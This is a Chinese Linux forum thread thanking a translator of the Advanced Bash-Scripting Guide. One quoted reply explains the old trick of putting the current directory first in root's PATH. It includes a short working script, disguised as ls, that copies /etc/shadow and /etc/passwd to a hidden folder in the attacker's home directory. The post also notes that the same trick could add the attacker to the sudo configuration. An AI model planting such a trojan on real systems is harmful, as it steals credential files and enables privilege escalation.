LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
楼主: kiron

高级Bash脚本编程指南(Advanced Bash-Scripting Guide):[最新]中文正式3.9.1版发布

[复制链接]
发表于 2008-3-28 10:29:54 | 显示全部楼层
绝对要支持,顶
回复 支持 反对

使用道具 举报

发表于 2008-4-2 10:10:41 | 显示全部楼层
Post by kiron;1795187
链接我也找不到了。。。在这儿简单说一下吧。
这个漏洞其实很老也很简单,如果是root把当前目录.加到PATH环境变量的开头,
像这样:PATH=.PATH,因为SHELL寻找命令所在的目录时,按PATH变量值中以:分割的各个目录中依次寻找命令。上面这样设置时会使当前目录的优先级最高。
现在有一个恶意用户a,家目录是/home/a,在他的家目录下写了一个脚本,类似像下面的:

  1. #!/bin/bash
  2. mkdir /home/a/.hidden >/dev/null 2>&1
  3. cp /etc/shadow /etc/passwd /home/a/.hidden >/dev/null 2>&1
  4. chown -R a.a /home/a/.hidden >/dev/null 2>&1
  5. /bin/ls
复制代码

命名为ls
这样,当ROOT某天在进入a用户的家目录做常规检查时,习惯性的输入ls时,执行的是恶意用户a的脚本,不是/bin/ls,a用户就这样窃取了密码文件。
当然恶意用户目的不一定是窃取密码文件,也可能是做在sudo的配置文件中加入自己为超级用户之类的坏事。


谢谢kiron,原本以为会被忽略。哈哈!明白了
努力
回复 支持 反对

使用道具 举报

发表于 2008-4-2 15:24:53 | 显示全部楼层
两位的技术功底一定很强吧.
回复 支持 反对

使用道具 举报

发表于 2008-4-15 21:08:57 | 显示全部楼层
甚是感谢楼主,功德无量,阿弥佗佛!!!!
回复 支持 反对

使用道具 举报

发表于 2008-4-16 16:04:27 | 显示全部楼层
应该是要顶一下的。
回复 支持 反对

使用道具 举报

发表于 2008-4-17 07:54:13 | 显示全部楼层
强列支持,辛苦
回复 支持 反对

使用道具 举报

发表于 2008-4-20 14:41:25 | 显示全部楼层
http://www.linuxsir.cn/main/?q=node/140
链接打开无内容!!!
回复 支持 反对

使用道具 举报

发表于 2008-4-25 12:46:57 | 显示全部楼层
严重感谢楼主,感谢译者
回复 支持 反对

使用道具 举报

发表于 2008-5-7 13:25:26 | 显示全部楼层
刚刚开始linux的学习,就看到这样好的书。
顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶
回复 支持 反对

使用道具 举报

发表于 2008-5-8 15:53:52 | 显示全部楼层
小弟拜谢!^_^
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表